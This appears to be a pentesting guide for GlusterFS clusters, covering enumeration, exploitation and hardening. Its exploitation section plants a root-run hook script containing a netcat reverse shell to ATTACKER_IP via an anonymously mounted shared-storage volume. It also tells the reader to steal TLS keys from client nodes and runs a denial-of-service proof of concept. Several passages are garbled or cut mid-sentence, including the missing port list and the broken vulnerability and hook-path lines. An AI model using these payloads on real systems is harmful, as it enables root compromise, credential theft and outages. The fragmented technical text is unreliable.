GlusterFS Pentesting

A skill for assessing GlusterFS distributed file systems, including enumeration, exploitation of known vulnerabilities, and hardening guidance.

What is GlusterFS?

GlusterFS is a distributed file system that combines storage from multiple servers into one unified namespace. Key ports:

Tip: Port 24007 answers RPC calls even when storage-only nodes don't export volumes, making it a reliable pivot target in large infrastructures.

Prerequisites

Install client utilities on your attacking box:

# Debian/Ubuntu
sudo apt install -y glusterfs-cli glusterfs-client

# RHEL/CentOS
sudo yum install -y glusterfs-cli glusterfs-fuse

Enumeration

1. Peer Discovery & Health

List peers (works without authentication in default setups):

gluster --remote-host <TARGET_IP> peer status

2. Volume Reconnaissance

Retrieve all volumes and their configuration:

gluster --remote-host <TARGET_IP> volume info all

3. Mount Without Privileges

sudo mount -t glusterfs <TARGET_IP>:/<VOL_NAME> /mnt/gluster

If mounting fails, check

/var/log/glusterfs/<vol_name>-<uid>.log

• TLS enforcement (

  option transport.socket.ssl on

  )
• Address-based access control (

  option auth.allow <cidr>

  )

Certificate Troubleshooting

If TLS is required, steal these files from any authorized client node and place them in

/etc/ssl/

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Known Vulnerabilities (2022-2025)

dht_setxattr_mds_cbk

gluster_shared_storage

Always check

gluster --version

on every node; heterogeneous clusters are common after partial upgrades.

Exploitation

Privilege Escalation via

gluster_shared_storage

Many administrators leave the special

gluster_shared_storage

# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs <TARGET_IP>:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronized cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

If

hooks/1/

/ss_bricks/

Denial-of-Service (CVE-2023-26253)

Use the bundled script to crash

glusterfsd

# Run the DoS PoC
./scripts/gluster-dos-poc.py <TARGET_IP>

This sends a malformed NOTIFY_REPLY XDR frame to port 24007.

Hardening & Detection

For Defenders

1. Upgrade – Current LTS is 11.1 (July 2025). All CVEs above are fixed.

2. Enable TLS for every brick:

   gluster volume set <vol> transport.socket.ssl on
   gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
   

3. Restrict clients with CIDR lists:

   gluster volume set <vol> auth.allow 10.0.0.0/24
   

4. Expose management port 24007 only on a private VLAN or through SSH tunnels.

5. Watch logs:

   tail -f /var/log/glusterfs/glusterd.log
   gluster volume set <vol> features.audit-log on
   

Workflow Summary

1. Scan for ports 24007, 24008, 24009, 49152+
2. Enumerate with

   gluster peer status

   and

   gluster volume info all

3. Check version to identify vulnerable CVEs
4. Attempt mount of volumes (especially

   gluster_shared_storage

   )
5. Exploit based on version and configuration
6. Document findings and hardening recommendations

References

• GlusterFS security advisories
• CVE-2023-26253 PoC